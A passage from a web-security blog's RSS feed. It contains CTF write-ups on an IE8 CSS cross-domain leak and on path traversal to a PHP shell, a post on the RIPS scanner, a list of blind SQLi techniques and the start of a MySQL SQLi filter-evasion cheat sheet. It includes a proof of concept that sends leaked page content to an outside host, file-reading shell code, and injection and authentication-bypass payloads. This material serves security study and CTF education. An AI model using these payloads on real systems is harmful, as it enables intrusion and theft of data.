			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo &quot;&lt;tr&gt;&lt;td&gt;$captain&lt;/td&gt;&lt;td&gt;$code&lt;/td&gt;&lt;/tr&gt;\n&quot;;
		}	
	} else
	{
		echo '&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;No codes found.&lt;/td&gt;&lt;/tr&gt;',&quot;\n&quot;;
	}
	echo '&lt;/table&gt;',&quot;\n&quot;;

} else
{
	echo '&lt;form action=&quot;&quot; method=&quot;GET&quot;&gt;',&quot;\n&quot;,'&lt;table&gt;',&quot;\n&quot;,
	'&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;Login&lt;/th&gt;&lt;/tr&gt;',&quot;\n&quot;,
	'&lt;tr&gt;&lt;td&gt;password:&lt;/td&gt;&lt;td&gt;&lt;input type=&quot;password&quot; name=&quot;pass&quot; value=&quot;&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;',&quot;\n&quot;,
	'&lt;tr&gt;&lt;td colspan=&quot;2&quot; align=&quot;right&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;login&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;',&quot;\n&quot;,
	'&lt;/table&gt;',&quot;\n&quot;,'&lt;/form&gt;',&quot;\n&quot;;
}	
?&gt;	
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;
</pre></p>
<p>The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter <strong>o</strong> ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.<br />
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by <a href="http://scarybeastsecurity.blogspot.com/2010/09/ie8-css-based-forced-tweeting.html">scarybeast</a> in September 2010 that could be used like the following to steal the missile launch codes from all captains:</p>
<ol>
<li>We reflect the following CSS via the GET parameter <strong>o</strong>:<br />
<pre class="brush: css;">
{}body{font-family:{
</pre><br />
That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.</li>
<li>We load the webpage with our reflectively injected CSS as CSS resource:<br />
<pre class="brush: xml;">
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://ctf.hack.lu:2016/?captain=all&amp;o=ASC{}body{font-family:{&quot; /&gt;
</pre><br />
That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.</li>
<li>Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:<br />
<pre class="brush: xml;">
&lt;html&gt;
&lt;head&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://ctf.hack.lu:2016/?captain=all&amp;o=ASC{}body{font-family:{&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;script&gt;
function getStyle() {
	var html = document.body.currentStyle.fontFamily;
	//alert(html);
	document.location.href=&quot;http://www.fluxfingers.net/?log=&quot;+encodeURIComponent(html);
}
window.setTimeout(getStyle, 2000);
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre><br />
We also set a timeout in case loading the remote site as CSS resource takes some time.</li>
</ol>
<p>The code for captain Cardboard was <strong>F15-F29-F32-F65-F17-F22</strong>. For more information about this attack read scarybeasts <a href="http://scarybeastsecurity.blogspot.com/2010/09/ie8-css-based-forced-tweeting.html">blogpost</a> or <a href="http://websec.sv.cmu.edu/css/css.pdf">this paper</a>. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.<br />
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling &#8220;IE8 css security&#8221;). Thanks to <a href="https://twitter.com/0x6D6172696F">.mario</a> for bringing this vuln to my attention.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/593/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/593/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/593/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/593/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/593/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/593/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/593/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/593/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/593/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/593/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/593/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/593/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/593/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/593/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=593&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2011/09/27/hack-lu-ctf-2011-challenge-writeup-%e2%80%93-secret-space-code/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>
	</item>
		<item>
		<title>hack.lu CTF 2011 challenge writeup – AALabs (Part 1)</title>
		<link>http://websec.wordpress.com/2011/09/26/hack-lu-ctf-2011-challenge-writeup-%e2%80%93-aalabs-part-1/</link>
		<comments>http://websec.wordpress.com/2011/09/26/hack-lu-ctf-2011-challenge-writeup-%e2%80%93-aalabs-part-1/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 22:51:17 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=548</guid>
		<description><![CDATA[As last year our CTF team FluxFingers organized the hack.lu conference CTF. Again the CTF was open to participants all over the world. As last year I prepared some web challenges designed in this years topic &#8220;space&#8221;. The challenge AALabs was about a website of a Asteroid Analysis Laboratory where you could create an account [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=548&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>As <a href="http://hacklu.fluxfingers.net/">last year</a> our CTF team <a href="http://twitter.com/fluxfingers">FluxFingers</a> organized the <a href="http://2011.hack.lu/index.php/CaptureTheFlag">hack.lu conference CTF</a>. Again the CTF was open to <a href="https://ctf.hack.lu/">participants</a> all over the world.</p>
<p>As last year I prepared some web challenges designed in this years topic &#8220;space&#8221;. The challenge AALabs was about a website of a Asteroid Analysis Laboratory where you could create an account and upload asteroid meta data files for analysis. As a result a graph was shown to the user that summerized the amount of different material detected in that asteroid. </p>
<table align="center">
<tr>
<td>
<a href="http://websec.files.wordpress.com/2011/09/aalabs.jpg"><img src="http://websec.files.wordpress.com/2011/09/aalabs.jpg?w=200&#038;h=110" alt="" title="AALabs website" width="200" height="110" class="aligncenter size-thumbnail wp-image-567" /></a>
</td>
<td>
<a href="http://websec.files.wordpress.com/2011/09/aalabs_report.jpg"><img src="http://websec.files.wordpress.com/2011/09/aalabs_report.jpg?w=200&#038;h=110" alt="" title="AALabs_report" width="200" height="110" class="aligncenter size-thumbnail wp-image-568" /></a></td>
</tr>
</table>
<p>The challenge text was:</p>
<blockquote><p>You have stolen the administrators password hashes from AALabs &#8211; a profitable technology center in outer space. However you were not able to crack them yet. Can you find out the salt?
</p></blockquote>
<p>Similar to <a href="http://websec.wordpress.com/2010/10/30/hack-lu-ctf-challenge-21-writeup-pigs/">last years</a> web challenge you had to use different techniques to get the salt. At first you had to create an account with a unique <strong>username</strong>, your password and several other info about yourself. The AALabs webapp then internally created the new directory <em>/home/files/<strong>username</strong>/</em> to later upload your files to a unique directory. Also the webapp added the user to the database for authentication and file authorization.<br />
After registration you could login and upload your asteroid meta files. Once successfully uploaded, your file was listed in the analysis table with the option to delete the file and to create an analysis report. <br /> <br />
Here one could find a SQL injection. By uploading a file named <em>foo<span style="color:red;">&#8216;</span>bar</em> the following SQL error was triggered when creating a report:</p>
<blockquote><p>Query failed: UPDATE metafiles SET reportfile = &#8216;/home/files/<strong>username</strong>/foo<span style="color:red;">&#8216;</span>bar.report&#8217; WHERE id = 7 AND userid = 3</p></blockquote>
<p>Obviously the file name was escaped correctly when INSERTed into the table of uploaded files. However when creating a report and saving the new report file name (that includes the original file name) the name was not escaped correctly and the error was triggered during the UPDATE statement.<br />
The trick here was to closely look at this error message before trying to exploit the SQL injection. It reveals the behavior that has been described above: the webapp operates with a directory that includes your <strong>username</strong>. Since it generates your report files in <em>/home/files/<strong>username</strong>/</em> with your uploaded file name and the appended <em>.report</em> extension, it is very likely that it also uploads your file to the same directory <em>/home/files/<strong>username</strong>/</em>. That is safe at the first glance because the directory <em>/home/files/</em> can not be accessed via webserver and many teams continued to investigate the SQL injection. However the SQL injection itself was a dead end because important characters like parenthesis were filtered. The SQL injection was actually a Information Leakage.<br />
The trick was to register a new account with a Path Traversal in your <strong>username</strong> such as <strong>../../var/www/Reiners</strong>. Doing so forces the webapp to upload your files into the webdirectory <em>/var/www/</em> and your subdirectory <em>Reiners/</em>. After that you could simply upload your PHP shell to the webdirectory and access it by browser. Since the safe_mode was enabled (we will come back to that later in part 2) you had to use file functions for further investigation, for example:<br />
<pre class="brush: php;">
&lt;?php
// Listing all files in a directory:
print_r(scandir('/var/www/'));
// read the configuration file that includes the salt:
echo file_get_contents('/var/www/config.php');
?&gt;
</pre><br />
<br />
The salt and the solution for this first part of the challenge was:<br /> <strong>AA!LaBS.</strong></p>
<p>I omitted the task to use the salt and a given hash to crack the password because I felt this was boring, however it would have added just another technique required to get to the goal. So far for the first task that was worth 200 points. A second task was waiting for the teams that was worth another 300 points and that required to exploit PHP itself and bypass the safe_mode:</p>
<blockquote><p>
Now that you gained access to AALabs it is time to do some further digging to get into their system. However they seem to have a pretty safe configuration running on their webserver. Can you get around it and read the Flag?</p></blockquote>
<p>A writeup will follow for this task. Unfortunetely only one team (props to bobsleigh) managed to solve the first task. I don&#8217;t think that the first task was too hard, however there were two distractions. First of all the SQL error was mostly pointing the teams to a SQL injection filter evasion challenge rather than a simple information leakage. Secondly the path traversal had to exactly point to the webdirectory because the <em>www-data</em> user had only write access to <em>/home/files/</em> and to <em>/var/www/</em>. I can imagine that some teams tried to traverse only one directory up to see if path traversal is possible but stopped trying after not successfully writing to <em>/home/</em>.<br />
Anyway I hope some teams enjoyed the challenge <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/548/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/548/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/548/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=548&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2011/09/26/hack-lu-ctf-2011-challenge-writeup-%e2%80%93-aalabs-part-1/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>

		<media:content url="http://websec.files.wordpress.com/2011/09/aalabs.jpg?w=200" medium="image">
			<media:title type="html">AALabs website</media:title>
		</media:content>

		<media:content url="http://websec.files.wordpress.com/2011/09/aalabs_report.jpg?w=200" medium="image">
			<media:title type="html">AALabs_report</media:title>
		</media:content>
	</item>
		<item>
		<title>Project RIPS &#8211; Status</title>
		<link>http://websec.wordpress.com/2011/06/04/project-rips-status/</link>
		<comments>http://websec.wordpress.com/2011/06/04/project-rips-status/#comments</comments>
		<pubDate>Sat, 04 Jun 2011 21:55:41 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[PHP Analyser]]></category>
		<category><![CDATA[PHP Scanner]]></category>
		<category><![CDATA[RIPS]]></category>
		<category><![CDATA[static analysis]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=504</guid>
		<description><![CDATA[During the past month I spend a lot of time improving RIPS &#8211; my static analysis tool for PHP vulnerabilities. You can download the new version 0.40 here. In this post I will give a short project status report. Whats new There has been a couple of bugfixes and improving especially regarding file inclusions which [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=504&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>During the past month I spend a lot of time improving <a href="http://websec.wordpress.com/tools/">RIPS</a> &#8211; my static analysis tool for PHP vulnerabilities. You can <strong>download</strong> the new version 0.40 <a href="http://sourceforge.net/projects/rips-scanner/files/">here</a>. In this post I will give a short project status report.</p>
<h3>Whats new</h3>
<p>There has been a couple of bugfixes and improving especially regarding file inclusions which are vital for correct analysis. Also RIPS now tries to <strong>analyse SQL queries</strong> on quotes before a decision on correct securing is made. However this feature is still not 100% working correctly in all cases.</p>
<p><pre class="brush: php;">
// safe
$name = mysql_real_escape_string($_GET['name']);
mysql_query(&quot;SELECT * FROM users WHERE name = '$name'&quot;);

// vulnerable
$id = mysql_real_escape_string($_GET['id']);
mysql_query(&quot;SELECT * FROM users WHERE id = $id&quot;);
</pre></p>
<p>The main new visible features are <strong>graphs</strong>. Besides the list of all scanned files RIPS now gives a nice overview on how files are connected to eachother, what files accept sources (userinput) and what files have sensitive sinks or vulnerabilities. It also splits the scanned files in main files (blue) and included files (red) so that entry points can be spotted easily.</p>
<p><a href="http://websec.files.wordpress.com/2011/06/files.jpg"><img src="http://websec.files.wordpress.com/2011/06/files.jpg?w=450" alt="RIPS file graph" /></a></p>
<p>Also all function calls are visible in a connected graph. Red lines are highlighting the code flow of each vulnerability. With these features it is very easy to spot in which file a vulnerability exists and which functions have to be called to reach the sensitive sink before you actually look at the code.</p>
<p><a href="http://websec.files.wordpress.com/2011/06/functions.jpg"><img src="http://websec.files.wordpress.com/2011/06/functions.jpg?w=450" alt="RIPS function graph" /></a></p>
<p>Another important feature is that code snippets that belong to the same vulnerability are now grouped and titled with the vulnerability category. In earlier versions they were unconnected and one had to jump between several snippets. With this it is now possible to look at specific <strong>vulnerability categories</strong> and to hide unimportant ones. This can be done by clicking on the categories name in the statistics window that also has been improved with a <strong>pie chart</strong> (HTML5 for the win <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p><a href="http://websec.files.wordpress.com/2011/06/stats.jpg"><img src="http://websec.files.wordpress.com/2011/06/stats.jpg?w=450" alt="RIPS stats" /></a></p>
<p>Also a new vulnerability type &#8220;<strong>Unserialize / POP</strong>&#8221; has been added that allows you to search for unserialize() sinks and interesting POP gadget functions (more info <a href="https://media.blackhat.com/bh-us-10/presentations/Esser/BlackHat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf">here</a>). For more changes have a look at the <a href="http://sourceforge.net/projects/rips-scanner/files/CHANGELOG/view">changelog</a>. </p>
<h3>Whats missing</h3>
<p>The main drawback of RIPS is still the missing support of Object-Oriented Programming (<strong>OOP</strong>). That means that almost all large code projects can not be scanned sufficiently and vulnerabilities will not be detected correctly. RIPS also still has problems with large non-OOP projects with complicated include structures. The new version improves the include strategie a lot, however if the filename is fetched from a database or build over several userdefined functions it is hard to reconstruct a string with static analysis. Also, a big block on my todo-list includes several bugs with the detection of proper and inproper securing that is also hard to detect with static analysis. So RIPS 0.40 remains being a good tool for small to bigger non-OOP apps but fails if you seriously want to scan WordPress or phpBB.</p>
<h3>Whats coming</h3>
<p>Scanning large OOP apps is still the main goal. After fixing currently known bugs (which are decreasing but finally increasing again every day <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) it will be time for implementing basic OOP features. At the same time a complete rewrite is planned to improve development and contain new bugs. Also some basic behavior of RIPS needs to be changed to detect vulnerabilities more correctly. This includes the line-by-line reading which should be replaced by codeblocks and the handling of different data types, especially arrays. There has been some interests lately for a joint development so I am looking forward to how RIPS will evolve.</p>
<p>If you are aware of a bug in the new version or have a feature request please leave a comment or issue a request at <a href="https://sourceforge.net/projects/rips-scanner/">sourceforge</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/504/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/504/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/504/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/504/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/504/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/504/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/504/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/504/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/504/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/504/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/504/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/504/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/504/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/504/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=504&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2011/06/04/project-rips-status/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>

		<media:content url="http://websec.files.wordpress.com/2011/06/files.jpg" medium="image">
			<media:title type="html">RIPS file graph</media:title>
		</media:content>

		<media:content url="http://websec.files.wordpress.com/2011/06/functions.jpg" medium="image">
			<media:title type="html">RIPS function graph</media:title>
		</media:content>

		<media:content url="http://websec.files.wordpress.com/2011/06/stats.jpg" medium="image">
			<media:title type="html">RIPS stats</media:title>
		</media:content>
	</item>
		<item>
		<title>Blind SQLi techniques</title>
		<link>http://websec.wordpress.com/2011/04/06/blind-sqli-techniques/</link>
		<comments>http://websec.wordpress.com/2011/04/06/blind-sqli-techniques/#comments</comments>
		<pubDate>Wed, 06 Apr 2011 18:15:15 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[SQLi]]></category>
		<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=482</guid>
		<description><![CDATA[In this quick post I want to collect some cool blind SQLi techniques I recently read about. I will keep this list updated as soon as I find new stuff. For me it is nice to have a list of these techniques online and a lot of visitors are interested in SQLi as well, so [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=482&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In this quick post I want to collect some cool blind SQLi techniques I recently read about. I will keep this list updated as soon as I find new stuff. For me it is nice to have a list of these techniques online and a lot of visitors are interested in SQLi as well, so I thought I share it <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  If you don&#8217;t know what <i>blind</i> SQLi is all about I recommend starting with <a href="http://www.exploit-db.com/papers/13696/">this article</a> about basic statistical approaches for efficient data extraction.</p>
<p>You can extract data more efficiently and thus safe requests and time by using the following techniques:</p>
<ul>
<li><a href="http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html">extracting data with bit shifting</a></li>
<li><a href="http://websec.ca/blog/view/optimized_blind_sql_injection_data_retrieval">extracting data with find_in_set</a></li>
<li><a href="http://bit.ly/fRdjEh">extracting data with find_in_set and regexp</a> (also <a href="http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/">here</a>)</li>
<li><a href="http://qwazar.ru/?p=7">extracting data through mysql errors</a></li>
<li><a href="https://rdot.org/forum/showpost.php?p=15425&amp;postcount=20">extracting data through mysql errors</a> (more reliable)</li>
</ul>
<p><strong>update 24.7.11:</strong> I just found out that the neat XML parsing function <i>extractvalue</i> includes invalid XML into error messages and can be used as a side channel for data extraction or conditional errors:<br />
<pre class="brush: plain;">
SELECT extractvalue(1,concat(0x2e,(SELECT @@version)));
XPATH syntax error: '5.1.36-community-log'

or
SELECT updatexml(1,concat(0x2e,(SELECT @@version)),1);
XPATH syntax error: '5.1.36-community-log'
</pre><br />
(also published <a href="http://www.glitcheaven.com/showthread.php?t=4136">here</a>)</p>
<p>If you know any other clever techniques please leave a comment.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/websec.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/websec.wordpress.com/482/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/websec.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/websec.wordpress.com/482/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/websec.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/websec.wordpress.com/482/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/websec.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/websec.wordpress.com/482/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/websec.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/websec.wordpress.com/482/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/websec.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/websec.wordpress.com/482/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/websec.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/websec.wordpress.com/482/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=482&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://websec.wordpress.com/2011/04/06/blind-sqli-techniques/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5a13b0320800151149e2345b2538ae31?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Reiners</media:title>
		</media:content>
	</item>
		<item>
		<title>SQLi filter evasion cheat sheet (MySQL)</title>
		<link>http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/</link>
		<comments>http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/#comments</comments>
		<pubDate>Sat, 04 Dec 2010 19:53:17 +0000</pubDate>
		<dc:creator>Reiners</dc:creator>
				<category><![CDATA[SQLi]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[cheat sheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[SQL filter bypass]]></category>
		<category><![CDATA[SQL filter evasion]]></category>
		<category><![CDATA[SQL obfuscation]]></category>

		<guid isPermaLink="false">http://websec.wordpress.com/?p=464</guid>
		<description><![CDATA[This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=websec.wordpress.com&amp;blog=2085741&amp;post=464&amp;subd=websec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of <a href="http://phpids.org/">PHPIDS</a> filter evasion at the CONFidence 2.0 conference. You can find the slides <a href="http://websec.files.wordpress.com/2010/11/sqli2.pdf">here</a>. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).</p>
<h2>Basic filter</h2>
<p><strong>Comments</strong><br />
&#8216; or 1=1#<br />
&#8216; or 1=1&#8211; -<br />
&#8216; or 1=1/* (MySQL &lt; 5.1)<br />
&#039; or 1=1;%00<br />
&#039; or 1=1 union select 1,2 as `<br />
&#039; or#newline<br />
1=&#039;1<br />
&#039; or&#8211; -newline<br />
1=&#039;1<br />
&#039; /*!50000or*/1=&#039;1<br />
&#039; /*!or*/1=&#039;1</p>
<p><strong>Prefixes</strong><br />
+ &#8211; ~ !<br />
&#8216; or &#8211;+2=- -!!!&#8217;2 </p>
<p><strong>Operators</strong><br />
^, =, !=, %, /, *, &amp;, &amp;&amp;, |, ||, , &gt;&gt;, &lt;=, &lt;=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP,  LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN,  ISNULL</p>
<p><strong>Whitespaces</strong><br />
%20 %09 %0a %0b %0c %0d %a0  /**/<br />
&#8216;or+(1)sounds/**/like“1“&#8211;%a0-<br />
&#8216;union(select(1),tabe_name,(3)from`information_schema`.`tables`)#</p>
<p><strong>Strings with quotes</strong><br />
SELECT &#8216;a&#8217;<br />
SELECT &#8220;a&#8221;<br />
SELECT n&#8217;a&#8217;<br />
SELECT b&#8217;1100001&#8242;<br />
SELECT _binary&#8217;1100001&#8242;<br />
SELECT x&#8217;61&#8242;</p>
<p><strong>Strings without quotes</strong><br />
&#8216;abc&#8217; = 0&#215;616263</p>
<p><strong>Aliases</strong><br />
select pass as alias from users<br />
select pass aliasalias from users<br />
select pass`alias alias`from users</p>
<p><strong>Typecasting</strong><br />
&#8216; or true = &#8217;1 # or 1=1<br />
&#8216; or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1<br />
&#8216; or &#8217;1 # or true</p>
<p><strong>Compare operator typecasting</strong><br />
select * from users where &#8216;a&#8217;='b&#8217;='c&#8217;<br />
select * from users where (&#8216;a&#8217;='b&#8217;)=&#8217;c&#8217;<br />
select * from users where (false)=&#8217;c&#8217;<br />
select * from users where (0)=&#8217;c&#8217;<br />
select * from users where (0)=0<br />
select * from users where true<br />
select * from users</p>
<p><strong>Authentication bypass &#8216;=&#8217;</strong><br />
select * from users where name = &#8221;=&#8221;<br />
select * from users where false = &#8221;<br />
select * from users where 0 = 0<br />
select * from users where true<br />
select * from users</p>
<p><strong>Authentication bypass &#8216;-&#8217;</strong><br />
select * from users where name = &#8221;-&#8221;<br />
select * from users where name = 0-0<br />
